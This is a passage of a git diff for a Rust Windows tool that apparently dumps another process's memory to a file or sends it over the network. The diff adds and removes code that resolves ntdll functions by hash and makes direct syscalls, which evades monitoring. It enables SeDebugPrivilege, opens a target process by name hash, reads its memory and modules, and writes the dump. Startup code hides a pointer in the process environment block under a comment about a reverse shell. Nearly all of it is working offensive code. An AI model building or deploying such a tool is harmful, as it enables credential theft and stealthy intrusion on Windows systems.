(*peb).os_major_version; + lp_version_information.dw_minor_version = (*peb).os_minor_version; + lp_version_information.dw_build_number = (*peb).os_build_number; + lp_version_information.dw_platform_id = (*peb).os_platform_id; + lp_version_information.sz_csd_version.fill(0); + + 0 +} + /// Takes a snapshot of the currently running processes. /// /// This function utilizes the `NtQuerySystemInformation` function from the NT API to retrieve @@ -26,11 +49,11 @@ pub unsafe fn nt_process_snapshot( let mut length: u32 = 0; // First call to determine the required length of the buffer for process information. - let mut status = - instance() - .ntdll - .nt_query_system_information - .run(5, null_mut(), 0, &mut length); + let mut status = get_instance() + .unwrap() + .ntdll + .nt_query_system_information + .run(5, null_mut(), 0, &mut length); // Check if the call returned STATUS_INFO_LENGTH_MISMATCH (expected) or another error. if status != STATUS_INFO_LENGTH_MISMATCH && status != 0 { @@ -42,12 +65,11 @@ pub unsafe fn nt_process_snapshot( buffer.resize(length as usize, 0); // Second call to actually retrieve the process information into the allocated buffer. - status = instance().ntdll.nt_query_system_information.run( - 5, - buffer.as_mut_ptr() as *mut c_void, - length, - &mut length, - ); + status = get_instance() + .unwrap() + .ntdll + .nt_query_system_information + .run(5, buffer.as_mut_ptr() as *mut c_void, length, &mut length); // Check if the process information retrieval was successful. if status != 0 { @@ -69,7 +91,7 @@ pub unsafe fn nt_process_snapshot( /// This function opens a handle to a target process by specifying its process ID (PID) and the desired access rights. /// The syscall `NtOpenProcess` is used to obtain the handle, and the function initializes the required structures /// (`OBJECT_ATTRIBUTES` and `CLIENT_ID`) needed to make the system call. -pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c_void { +pub unsafe fn get_process_handle(pid: i32, desired_access: c_ulong) -> *mut c_void { let mut process_handle: *mut c_void = null_mut(); // Initialize object attributes for the process, setting up the basic structure with default options. @@ -88,7 +110,7 @@ pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c client_id.unique_process = pid as _; // Perform a system call to NtOpenProcess to obtain a handle to the specified process. - instance().ntdll.nt_open_process.run( + get_instance().unwrap().ntdll.nt_open_process.run( &mut process_handle, desired_access, &mut object_attributes, @@ -100,9 +122,9 @@ pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c /// Retrieves a handle to a process with the specified name hash and desired access rights using the NT API. /// -/// This function takes a process name hash, searches for its process ID (PID) using the `process_snapshot` function, +/// This function takes a process name hash, searches for a matching process name using the `nt_process_snapshot` function, /// and then opens a handle to the process using `NtOpenProcess`. -pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask) -> *mut c_void { +pub unsafe fn get_process_handle_by_name(name: u32, desired_access: c_ulong) -> *mut c_void { let mut snapshot: *mut SystemProcessInformation = null_mut(); let mut size: usize = 0; @@ -110,10 +132,7 @@ pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask) let status = nt_process_snapshot(&mut snapshot, &mut size); if status != 0 { - debug_println!( - "Failed to retrieve process snapshot: NTSTATUS: 0x{:X}", - status - ); + debug_println!("Failed to retrieve process snapshot with status: ", status); return null_mut(); } @@ -147,3 +166,56 @@ pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask) null_mut() } + +/// This function enables the SeDebugPrivilege privilege using the NT API. +pub unsafe fn enable_se_debug_privilege() -> i32 { + const TOKEN_ADJUST_PRIVILEGES: u32 = 32u32; + const TOKEN_QUERY: u32 = 8u32; + + let current_process_handle = -1isize as *mut c_void; + let mut token_handle: *mut c_void = null_mut(); + + // Open the process token. + let ntstatus = get_instance().unwrap().ntdll.nt_open_process_token.run( + current_process_handle, + TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, + &mut token_handle, + ); + + if ntstatus != 0 { + debug_println!("[-] NtOpenProcessToken failed with status: ", ntstatus); + return ntstatus; + } + + let luid = LUID { + low_part: 20, + high_part: 0, + }; + + let mut token_privileges = TokenPrivileges { + privilege_count: 1, + luid: luid, + attributes: 0x00000002, + }; + + // Adjust token privileges to enable SeDebugPrivilege. + let ntstatus = get_instance() + .unwrap() + .ntdll + .nt_adjust_privileges_token + .run( + token_handle, + false, + &mut token_privileges, + core::mem::size_of::() as u32, + null_mut(), + null_mut(), + ); + + if ntstatus != 0 { + debug_println!("[-] NtAdjustPrivilegesToken failed with status: ", ntstatus); + return ntstatus; + } + + ntstatus +} diff --git a/src/ntapi/allocator.rs b/src/ntapi/allocator.rs deleted file mode 100644 index 830d910..0000000 --- a/src/ntapi/allocator.rs +++ /dev/null @@ -1,152 +0,0 @@ -use core::alloc::{GlobalAlloc, Layout}; -use core::cell::UnsafeCell; -use core::ffi::c_void; -use core::ptr::null_mut; -use core::sync::atomic::Ordering; -use core::sync::atomic::{AtomicBool, AtomicIsize}; - -use crate::common::ldrapi::{ldr_function, ldr_module}; -use crate::run_syscall; - -use super::syscall::NtSyscall; -use super::syscall_gate::get_ssn; - -// Atomic flag contains the last status of an NT syscall. -pub static NT_ALLOCATOR_STATUS: AtomicIsize = AtomicIsize::new(0); - -// Atomic flag to ensure initialization happens only once. -static INIT: AtomicBool = AtomicBool::new(false); - -// Static variables to hold the configuration and syscall information, wrapped in UnsafeCell for interior mutability. -static mut NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell> = - UnsafeCell::new(None); - -static mut NT_FREE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell> = UnsafeCell::new(None); - -/// Unsafe function to perform the initialization of the static variables. -/// This includes locating and storing the addresses and syscall numbers for `NtAllocateVirtualMemory` and `NtFreeVirtualMemory`. -pub unsafe fn initialize() { - // Check if initialization has already occurred. - if !INIT.load(Ordering::Acquire) { - // Get the address of ntdll module in memory. - let ntdll_address = ldr_module(0x1edab0ed); - - // Initialize the syscall for NtAllocateVirtualMemory. - let alloc_syscall_address = ldr_function(ntdll_address, 0xf783b8ec); - let alloc_syscall = NtSyscall { - address: alloc_syscall_address, - number: get_ssn(alloc_syscall_address), - hash: 0xf783b8ec, - }; - - *NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL.get() = Some(alloc_syscall); - - // Initialize the syscall for NtFreeVirtualMemory. - let free_syscall_address = ldr_function(ntdll_address, 0x2802c609); - let free_syscall = NtSyscall { - address: free_syscall_address, - number: get_ssn(free_syscall_address), - hash: 0x2802c609, - }; - - *NT_FREE_VIRTUAL_MEMORY_SYSCALL.get() = Some(free_syscall); - - // Set the initialization flag to true. - INIT.store(true, Ordering::Release); - } -} - -/// Function to ensure that initialization is performed if it hasn't been already. -fn ensure_initialized() { - unsafe { - if !INIT.load(Ordering::Acquire) { - initialize(); - } - } -} - -/// Function to get a reference to the NtAllocateVirtualMemory syscall, ensuring initialization first. -fn get_nt_allocate_virtual_memory_syscall() -> &'static NtSyscall { - ensure_initialized(); - unsafe { - NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL - .get() - .as_ref() - .unwrap() - .as_ref() - .unwrap() - } -} - -/// Function to get a reference to the NtFreeVirtualMemory syscall, ensuring initialization first. -fn get_nt_free_virtual_memory_syscall() -> &'static NtSyscall { - ensure_initialized(); - unsafe { - NT_FREE_VIRTUAL_MEMORY_SYSCALL - .get() - .as_ref() - .unwrap() - .as_ref() - .unwrap() - } -} - -/// Custom allocator using NT system calls. -pub struct NtVirtualAlloc; - -unsafe impl GlobalAlloc for NtVirtualAlloc { - /// Allocates memory as described by the given `layout` using NT system calls. - /// - /// This function uses the `NtAllocateVirtualMemory` system call to allocate memory. - /// The memory is allocated with `PAGE_READWRITE` protection, which allows both - /// reading and writing. This is appropriate for most use cases like vectors and strings. - unsafe fn alloc(&self, layout: Layout) -> *mut u8 { - // Pointer to the allocated memory. - let mut p_address: *mut c_void = null_mut(); - // Size of the memory to allocate. - let region_size = layout.size(); - // Handle to the current process (-1). - let h_process: *mut u8 = -1isize as _; - - let alloc_syscall = get_nt_allocate_virtual_memory_syscall(); - - let ntstatus = run_syscall!( - (*alloc_syscall).number, - (*alloc_syscall).address as usize, - h_process, - &mut p_address, - 0, - &mut (region_size as usize) as *mut usize, - 0x3000, // MEM_COMMIT | MEM_RESERVE - 0x04 // PAGE_READWRITE - ); - - NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst); - - // If the allocation fails, return null; otherwise, return the allocated address. - p_address as *mut u8 - } - - /// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls. - /// - /// This function uses the `NtFreeVirtualMemory` system call to deallocate memory. - unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { - // Size of the memory to deallocate. - let mut region_size = layout.size(); - // Handle to the current process (-1). - let h_process: *mut u8 = -1isize as _; - - let free_syscall = get_nt_free_virtual_memory_syscall(); - - let ntstatus = run_syscall!( - (*free_syscall).number, - (*free_syscall).address as usize, - h_process, - &mut (ptr as *mut c_void), - &mut region_size, - 0x8000 // MEM_RELEASE - ); - - NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst); - } -} diff --git a/src/ntapi/file.rs b/src/ntapi/file.rs deleted file mode 100644 index a919782..0000000 --- a/src/ntapi/file.rs +++ /dev/null @@ -1,150 +0,0 @@ -#[cfg(feature = "verbose")] -use libc_print::libc_println; - -use crate::debug_println; - -use alloc::vec::Vec; - -use super::{def::IoStatusBlock, g_instance::instance}; - -use super::{ - def::{AccessMask, LargeInteger, ObjectAttributes, UnicodeString}, - utils::{build_nt_path, get_current_directory}, -}; - -pub const SYNCHRONIZE: AccessMask = 0x00100000; -pub const STANDARD_RIGHTS_WRITE: AccessMask = 0x00020000; - -pub const FILE_WRITE_DATA: AccessMask = 0x00000002; -pub const FILE_WRITE_ATTRIBUTES: AccessMask = 0x00000100; -pub const FILE_WRITE_EA: AccessMask = 0x00000010; -pub const FILE_APPEND_DATA: AccessMask = 0x00000004; -pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE - | FILE_WRITE_DATA - | FILE_WRITE_ATTRIBUTES - | FILE_WRITE_EA - | FILE_APPEND_DATA - | SYNCHRONIZE; -pub const FILE_OVERWRITE_IF: u32 = 0x00000005; - -pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020; -pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040; - -pub const FILE_SHARE_READ: AccessMask = 0x00000001; -pub const FILE_SHARE_WRITE: AccessMask = 0x00000002; - -pub fn save_file(dump_file_bytes: Vec, dump_file_name: &str) -> i32 { - use core::{ffi::c_void, ptr::null_mut}; - - unsafe { - let mut handle: *mut c_void = null_mut(); - - // Retrieve current directory and handle failure - let cwd = get_current_directory(); - if cwd.is_empty() { - debug_println!("[-] Failed to retrieve current working directory"); - return -1; - } - - let mut buffer = [0u8; 1024]; - - // Build NT path and handle failure - let file_name = build_nt_path(&cwd, dump_file_name, &mut buffer); - if file_name.is_empty() { - debug_println!("[-] Failed to build NT path for file"); - return -1; - } - - let file_path: Vec = { - let mut vec = Vec::with_capacity(file_name.len() + 1); - for c in file_name.encode_utf16() { - vec.push(c); - } - vec.push(0); - vec - }; - - // Initialize the Unicode string for the registry value name - let mut unicode_string = UnicodeString::new(); - unicode_string.init(file_path.as_ptr()); - - let mut object_attributes = ObjectAttributes::new(); - ObjectAttributes::initialize( - &mut object_attributes, - &mut unicode_string, // NT path name - 0, // Flags for case-insensitivity and inheritance - null_mut(), // No root directory - null_mut(), // No security descriptor - ); - - let mut io_status_block: IoStatusBlock = core::mem::zeroed(); - - let allocation_size: *mut LargeInteger = null_mut(); - - let desired_access: AccessMask = FILE_GENERIC_WRITE | SYNCHRONIZE; - - let share_access: AccessMask = FILE_SHARE_READ | FILE_SHARE_WRITE; - - let create_options: AccessMask = FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT; - - let create_disposition: AccessMask = FILE_OVERWRITE_IF; - - // Create the file using NtCreateFile - let status: i32 = instance().ntdll.nt_create_file.run( - &mut handle, - desired_access, - &mut object_attributes, - &mut io_status_block, - allocation_size, - 0, - share_access, - create_disposition, - create_options, - null_mut(), - 0, - ); - - if status < 0 { - debug_println!( - "[-] Failed to create file with status: NTSTATUS: 0x{:X}", - status - ); - return status; - } - - // Initialize IO_STATUS_BLOCK for NtWriteFile - let mut io_status_block_write: IoStatusBlock = core::mem::zeroed(); - - // Write the file content using NtWriteFile - let status_write = instance().ntdll.nt_write_file.run( - handle, - null_mut(), - null_mut(), - null_mut(), - &mut io_status_block_write, - dump_file_bytes.as_ptr() as *mut c_void, - dump_file_bytes.len() as u32, - null_mut(), - null_mut(), - ); - - if status_write < 0 { - debug_println!( - "[-] Failed to write to file with status: NTSTATUS: 0x{:X}", - status_write - ); - instance().ntdll.nt_close.run(handle); - } else { - debug_println!( - "[+] File {} ({}) created successfully.", - file_name, - dump_file_bytes.len() - ); - } - - // Close the file handle - instance().ntdll.nt_close.run(handle); - - status_write - } -} diff --git a/src/ntapi/g_instance.rs b/src/ntapi/g_instance.rs deleted file mode 100644 index 60f70b2..0000000 --- a/src/ntapi/g_instance.rs +++ /dev/null @@ -1,157 +0,0 @@ -use core::{ - cell::UnsafeCell, - sync::atomic::{AtomicBool, Ordering}, -}; - -use super::syscall_gate::get_ssn; - -use crate::{ - common::ldrapi::{ldr_function, ldr_module}, - ntapi::syscall::NtDll, -}; - -#[repr(C)] -pub struct Instance { - pub ntdll: NtDll, // NtDll API functions -} - -impl Instance { - pub fn new() -> Self { - Instance { - ntdll: NtDll::new(), - } - } -} - -static INIT_INSTANCE: AtomicBool = AtomicBool::new(false); - -pub static mut INSTANCE: UnsafeCell> = UnsafeCell::new(None); - -/// Retrieves a reference to the global instance. -pub unsafe fn instance() -> &'static Instance { - ensure_initialized(); - return INSTANCE.get().as_ref().unwrap().as_ref().unwrap(); -} - -/// Function to ensure that initialization is performed if it hasn't been already. -fn ensure_initialized() { - unsafe { - if !INIT_INSTANCE.load(Ordering::Acquire) { - init_native(); - } - } -} - -unsafe fn init_native() { - if !INIT_INSTANCE.load(Ordering::Acquire) { - let mut instance = Instance::new(); - - const NTDLL_HASH: u32 = 0x1edab0ed; - - instance.ntdll.module_base = ldr_module(NTDLL_HASH); - - // Resolve LdrLoadDll - let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, 0x9e456a43); - instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr); - - // NtAllocateVirtualMemory - instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_allocate_virtual_memory.syscall.hash, - ); - instance.ntdll.nt_allocate_virtual_memory.syscall.number = - get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address); - - // NtFreeVirtualMemory - instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_free_virtual_memory.syscall.hash, - ); - instance.ntdll.nt_free_virtual_memory.syscall.number = - get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address); - - // NtReadVirtualMemory - instance.ntdll.nt_read_virtual_memory.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_read_virtual_memory.syscall.hash, - ); - instance.ntdll.nt_read_virtual_memory.syscall.number = - get_ssn(instance.ntdll.nt_read_virtual_memory.syscall.address); - - // NtQueryVirtualMemory - instance.ntdll.nt_query_virtual_memory.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_query_virtual_memory.syscall.hash, - ); - instance.ntdll.nt_query_virtual_memory.syscall.number = - get_ssn(instance.ntdll.nt_query_virtual_memory.syscall.address); - - // NtOpenProcess - instance.ntdll.nt_open_process.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_open_process.syscall.hash, - ); - instance.ntdll.nt_open_process.syscall.number = - get_ssn(instance.ntdll.nt_open_process.syscall.address); - - // NtQuerySystemInformation - instance.ntdll.nt_query_system_information.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_query_system_information.syscall.hash, - ); - instance.ntdll.nt_query_system_information.syscall.number = - get_ssn(instance.ntdll.nt_query_system_information.syscall.address); - - // NtQueryInformationProcess - instance.ntdll.nt_query_information_process.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_query_information_process.syscall.hash, - ); - instance.ntdll.nt_query_information_process.syscall.number = - get_ssn(instance.ntdll.nt_query_information_process.syscall.address); - - // NtCreateFile - instance.ntdll.nt_create_file.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_create_file.syscall.hash, - ); - instance.ntdll.nt_create_file.syscall.number = - get_ssn(instance.ntdll.nt_create_file.syscall.address); - - // NtWriteFile - instance.ntdll.nt_write_file.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_write_file.syscall.hash, - ); - instance.ntdll.nt_write_file.syscall.number = - get_ssn(instance.ntdll.nt_write_file.syscall.address); - - // NtClose - instance.ntdll.nt_close.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_close.syscall.hash, - ); - instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address); - - // NtOpenProcessToken - instance.ntdll.nt_open_process_token.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_open_process_token.syscall.hash, - ); - instance.ntdll.nt_open_process_token.syscall.number = - get_ssn(instance.ntdll.nt_open_process_token.syscall.address); - - // NtAdjustPrivilegesToken - instance.ntdll.nt_adjust_privileges_token.syscall.address = ldr_function( - instance.ntdll.module_base, - instance.ntdll.nt_adjust_privileges_token.syscall.hash, - ); - instance.ntdll.nt_adjust_privileges_token.syscall.number = - get_ssn(instance.ntdll.nt_adjust_privileges_token.syscall.address); - - *INSTANCE.get() = Some(instance); - - // Set the initialization flag to true. - INIT_INSTANCE.store(true, Ordering::Release); - } -} diff --git a/src/ntapi/memory.rs b/src/ntapi/memory.rs deleted file mode 100644 index cb7d5e1..0000000 --- a/src/ntapi/memory.rs +++ /dev/null @@ -1,249 +0,0 @@ -#[cfg(feature = "verbose")] -use libc_print::libc_println; - -use alloc::string::String; -use alloc::vec; -use alloc::vec::Vec; -use core::ffi::c_void; - -use crate::{ - common::utils::dbj2_hash, - debug_println, - mdfile::ModuleInfo, - ntapi::def::{MemoryBasicInformation, ProcessBasicInformation}, -}; - -use super::g_instance::instance; - -/// Reads memory from a remote process into a buffer. -/// -/// Takes a process handle, an address, and the size of the memory to read. -/// Returns a `Vec` containing the memory contents, or `None` if reading fails. -pub fn read_memory( - process_handle: *mut c_void, - address: *mut c_void, - size: usize, -) -> Option> { - // Allocate a buffer for the memory to be read. - let mut buffer = vec![0u8; size]; - let mut bytes_read: usize = 0; - - // Perform the memory read operation using the NT API. - let result = unsafe { - instance().ntdll.nt_read_virtual_memory.run( - process_handle, - address, - buffer.as_mut_ptr() as *mut c_void, - size, - &mut bytes_read, - ) - }; - - // Return the buffer if successful, otherwise return None. - if result == 0 && bytes_read > 0 { - Some(buffer) - } else { - None - } -} - -/// Queries information about a memory region in a remote process. -/// -/// Returns a `MemoryBasicInformation` struct containing details about the memory region, -/// or `None` if querying fails. -pub fn query_memory_info( - process_handle: *mut c_void, - base_address: *mut c_void, -) -> Option { - let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() }; - - // Query memory information for the given address in the remote process. - let result = unsafe { - instance().ntdll.nt_query_virtual_memory.run( - process_handle, - base_address, - 0, - &mut mem_info as *mut _ as *mut c_void, - core::mem::size_of::() as usize, - core::ptr::null_mut(), - ) - }; - - // Return memory information if successful, otherwise return None. - if result == 0 { - Some(mem_info) - } else { - None - } -} - -/// Reads a wide string (UTF-16) from a remote process's memory. -/// -/// Converts the UTF-16 encoded string from the remote process into a `String` and returns it. -/// If reading fails or the string is invalid, returns an empty `String`. -pub fn read_remote_wstr(process_handle: *mut c_void, mem_address: *mut c_void) -> String { - let mut buffer = vec![0u8; 512]; // Buffer for reading memory. - let mut bytes_read: usize = 0; - - // Read memory from the remote process. - let status = unsafe { - instance().ntdll.nt_read_virtual_memory.run( - process_handle, - mem_address, - buffer.as_mut_ptr() as *mut c_void, - buffer.len(), - &mut bytes_read, - ) - }; - - if status == 0 { - let mut u16_vec = Vec::new(); - // Process the buffer in chunks of 2 bytes (for UTF-16 encoding). - for chunk in buffer.chunks(2) { - if chunk.len() < 2 { - break; - } - let word = u16::from_le_bytes([chunk[0], chunk[1]]); - if word == 0 { - break; - } - u16_vec.push(word); - } - // Convert the UTF-16 data into a Rust String. - String::from_utf16(&u16_vec).unwrap_or_else(|_| String::new()) - } else { - String::new() - } -} - -/// Reads a pointer-sized integer from a remote process's memory. -/// -/// Returns the integer value read from the memory address in the remote process, -/// or `0` if the read operation fails. -pub fn read_remote_int_ptr(process_handle: *mut c_void, mem_address: *mut c_void) -> usize { - let mut buffer = [0u8; 8]; // Buffer for reading an integer (64 bits). - let mut bytes_read: usize = 0; - - // Read the pointer-sized integer from the remote process. - let status = unsafe { - instance().ntdll.nt_read_virtual_memory.run( - process_handle, - mem_address, - buffer.as_mut_ptr() as *mut c_void, - buffer.len(), - &mut bytes_read, - ) - }; - - // Convert the bytes into a 64-bit unsigned integer and return it as usize. - if status == 0 { - let value = u64::from_le_bytes(buffer); - value as usize - } else { - 0 - } -} - -/// Retrieves the list of loaded modules in a process's memory. -/// -/// Uses the process handle to query the PEB (Process Environment Block) and retrieves -/// information about the loaded modules in the process. Optionally filters modules by a hash. -pub fn get_modules_info(process_handle: *mut c_void, module_hash: Option) -> Vec { - let mut process_information: ProcessBasicInformation = unsafe { core::mem::zeroed() }; - let mut return_length: u32 = 0; - - // Query the process information to get the PEB base address. - let status = unsafe { - instance().ntdll.nt_query_information_process.run( - process_handle as *mut c_void, - 0, // ProcessBasicInformation - &mut process_information as *mut _ as *mut c_void, - core::mem::size_of::() as u32, - &mut return_length, - ) - }; - - if status != 0 { - panic!("[-] Failed to query process information."); - } - - debug_println!( - "[+] PEB Base Address: 0x{:x}", - process_information.peb_base_address as usize - ); - - // Compute the address of the loader's data structure from the PEB. - let ldr_offset = 0x18; - let ldr_pointer = (process_information.peb_base_address as usize + ldr_offset) as *mut c_void; - let ldr_address = read_remote_int_ptr(process_handle, ldr_pointer); - - // Get the address of the module list from the loader data. - let in_initialization_order_module_list_offset = 0x30; - let module_list_address = - (ldr_address + in_initialization_order_module_list_offset) as *mut c_void; - let mut next_flink = read_remote_int_ptr(process_handle, module_list_address); - - // Offsets within the LDR module structure. - let flink_dllbase_offset = 0x20; - let flink_buffer_fulldllname_offset = 0x40; - let flink_buffer_offset = 0x50; - - let mut module_info_arr: Vec = Vec::new(); - let mut dll_base = 1337; - - // Loop through the module list until the base address is zero. - while dll_base != 0 { - next_flink -= 0x10; - - // Read the base address of the module. - dll_base = read_remote_int_ptr( - process_handle, - (next_flink + flink_dllbase_offset) as *mut c_void, - ); - if dll_base == 0 { - break; - } - - // Read the base and full DLL names from memory. - let base_dll_name_ptr = read_remote_int_ptr( - process_handle, - (next_flink + flink_buffer_offset) as *mut c_void, - ) as *mut c_void; - let base_dll_name = read_remote_wstr(process_handle, base_dll_name_ptr); - - let full_dll_name_ptr = read_remote_int_ptr( - process_handle, - (next_flink + flink_buffer_fulldllname_offset) as *mut c_void, - ) as *mut c_void; - let full_dll_name = read_remote_wstr(process_handle, full_dll_name_ptr); - - // If a module hash is provided, filter by hash; otherwise, include all modules. - match module_hash { - Some(value) => { - if value == dbj2_hash(base_dll_name.clone().as_bytes()) { - module_info_arr.push(ModuleInfo { - base_name: base_dll_name, - full_dll_name, - base_address: dll_base, - region_size: 0, - }); - - break; // Stop searching after finding the matching module. - } - } - None => { - module_info_arr.push(ModuleInfo { - base_name: base_dll_name, - full_dll_name, - base_address: dll_base, - region_size: 0, - }); - } - } - - // Move to the next module in the list. - next_flink = read_remote_int_ptr(process_handle, (next_flink + 0x10) as *mut c_void); - } - - module_info_arr -} diff --git a/src/ntapi/mod.rs b/src/ntapi/mod.rs deleted file mode 100644 index 68570ad..0000000 --- a/src/ntapi/mod.rs +++ /dev/null @@ -1,12 +0,0 @@ -#[cfg(not(feature = "remote"))] -pub mod file; - -pub mod allocator; -pub mod def; -pub mod g_instance; -pub mod memory; -pub mod privilege; -pub mod process; -pub mod syscall; -pub mod syscall_gate; -pub mod utils; diff --git a/src/ntapi/privilege.rs b/src/ntapi/privilege.rs deleted file mode 100644 index 62bf0a4..0000000 --- a/src/ntapi/privilege.rs +++ /dev/null @@ -1,66 +0,0 @@ -#[cfg(feature = "verbose")] -use libc_print::libc_println; - -use core::{ffi::c_void, ptr::null_mut}; - -use crate::debug_println; - -use super::{ - def::{TokenPrivileges, LUID}, - g_instance::instance, -}; - -/// This function enables the SeDebugPrivilege privilege using the NT API. -pub unsafe fn enable_se_debug_privilege() -> i32 { - const TOKEN_ADJUST_PRIVILEGES: u32 = 32u32; - const TOKEN_QUERY: u32 = 8u32; - - let current_process_handle = -1isize as *mut c_void; - let mut token_handle: *mut c_void = null_mut(); - - // Open the process token. - let ntstatus = instance().ntdll.nt_open_process_token.run( - current_process_handle, - TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, - &mut token_handle, - ); - - if ntstatus != 0 { - debug_println!( - "[-] Error calling NtOpenProcessToken. NTSTATUS: 0x{:X}", - ntstatus - ); - return ntstatus; - } - - let luid = LUID { - low_part: 20, - high_part: 0, - }; - - let mut token_privileges = TokenPrivileges { - privilege_count: 1, - luid: luid, - attributes: 0x00000002, - }; - - // Adjust token privileges to enable SeDebugPrivilege. - let ntstatus = instance().ntdll.nt_adjust_privileges_token.run( - token_handle, - false, - &mut token_privileges, - core::mem::size_of::() as u32, - null_mut(), - null_mut(), - ); - - if ntstatus != 0 { - debug_println!( - "[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x{:X}", - ntstatus - ); - return ntstatus; - } - - ntstatus -} diff --git a/src/ntapi/utils.rs b/src/ntapi/utils.rs deleted file mode 100644 index 17f7679..0000000 --- a/src/ntapi/utils.rs +++ /dev/null @@ -1,81 +0,0 @@ -use super::def::{find_peb, OSVersionInfo}; - -#[cfg(not(feature = "remote"))] -use crate::{common::utils::unicodestring_to_string, ntapi::def::RtlUserProcessParameters}; -#[cfg(not(feature = "remote"))] -use alloc::string::String; - -pub unsafe fn rtl_get_version(lp_version_information: &mut OSVersionInfo) -> i32 { - // Get the pointer to the PEB - let peb = find_peb(); - - if lp_version_information.dw_os_version_info_size - != core::mem::size_of::() as u32 - { - return -1; - } - - // Fill in the version information from the PEB - lp_version_information.dw_major_version = (*peb).os_major_version; - lp_version_information.dw_minor_version = (*peb).os_minor_version; - lp_version_information.dw_build_number = (*peb).os_build_number; - lp_version_information.dw_platform_id = (*peb).os_platform_id; - lp_version_information.sz_csd_version.fill(0); - - 0 -} - -/// Retrieves the current working directory of the process by accessing the Process Environment Block (PEB). -#[cfg(not(feature = "remote"))] -pub fn get_current_directory() -> String { - unsafe { - let peb = find_peb(); - if !peb.is_null() { - let process_parameters = (*peb).process_parameters as *mut RtlUserProcessParameters; - let cur_dir = &mut process_parameters.as_mut().unwrap().current_directory_path; - - let dir_str = unicodestring_to_string(&(*cur_dir)); - if dir_str.is_some() { - return dir_str.unwrap(); - } - } - } - String::new() -} - -/// Builds an NT path based on the current working directory (cwd) and a file name. -#[cfg(not(feature = "remote"))] -pub fn build_nt_path<'a>(cwd: &str, file_name: &str, buffer: &'a mut [u8]) -> &'a str { - let mut offset = 0; - - let nt_prefix = b"\\??\\"; - if nt_prefix.len() > buffer.len() { - // debug_println!("[-] Buffer too small to hold NT prefix."); - return ""; - } - buffer[offset..offset + nt_prefix.len()].copy_from_slice(nt_prefix); - offset += nt_prefix.len(); - - let cwd_bytes = cwd.as_bytes(); - if offset + cwd_bytes.len() > buffer.len() { - // debug_println!("[-] Buffer too small to hold current working directory."); - return ""; - } - buffer[offset..offset + cwd_bytes.len()].copy_from_slice(cwd_bytes); - offset += cwd_bytes.len(); - - let file_name_bytes = file_name.as_bytes(); - if offset + file_name_bytes.len() > buffer.len() { - // debug_println!("[-] Buffer too small to hold file name."); - return ""; - } - buffer[offset..offset + file_name_bytes.len()].copy_from_slice(file_name_bytes); - offset += file_name_bytes.len(); - - if let Ok(result_str) = core::str::from_utf8(&buffer[..offset]) { - result_str - } else { - // debug_println!("[-] Failed to convert buffer to UTF-8 string."); - "" - } -} diff --git a/src/premain.rs b/src/premain.rs new file mode 100644 index 0000000..5d42082 --- /dev/null +++ b/src/premain.rs @@ -0,0 +1,116 @@ +use core::{arch::global_asm, ffi::c_void}; + +use crate::{ + dumpit, + instance::Instance, + native::{ntapi::init_ntdll_funcs, ntdef::find_peb}, +}; + +#[cfg(feature = "debug")] +use crate::debug::k32::init_kernel32_funcs; + +#[cfg(feature = "remote")] +use crate::remote::winsock::init_winsock_funcs; + +#[no_mangle] +pub extern "C" fn initialize() { + unsafe { + // Stack allocation of Instance + let mut instance = Instance::new(); + + // Append instance address to PEB.ProcessHeaps + let instance_ptr: *mut c_void = &mut instance as *mut _ as *mut c_void; + + let peb = find_peb(); + let process_heaps = (*peb).process_heaps as *mut *mut c_void; + let number_of_heaps = (*peb).number_of_heaps as usize; + + // Increase the NumberOfHeaps + (*peb).number_of_heaps += 1; + + // Append the instance_ptr + *process_heaps.add(number_of_heaps) = instance_ptr; + + // Proceed to main function + main(); + } +} + +/// Initializes system modules and functions, and then starts a reverse shell. +unsafe fn main() { + init_ntdll_funcs(); + + #[cfg(feature = "debug")] + init_kernel32_funcs(); + + #[cfg(feature = "remote")] + init_winsock_funcs(); + + dumpit(); +} + +global_asm!( + r#" +.globl _start +.globl isyscall + +.section .text + +_start: + push rsi + mov rsi, rsp + and rsp, 0xFFFFFFFFFFFFFFF0 + sub rsp, 0x20 + call initialize + mov rsp, rsi + pop rsi + ret + 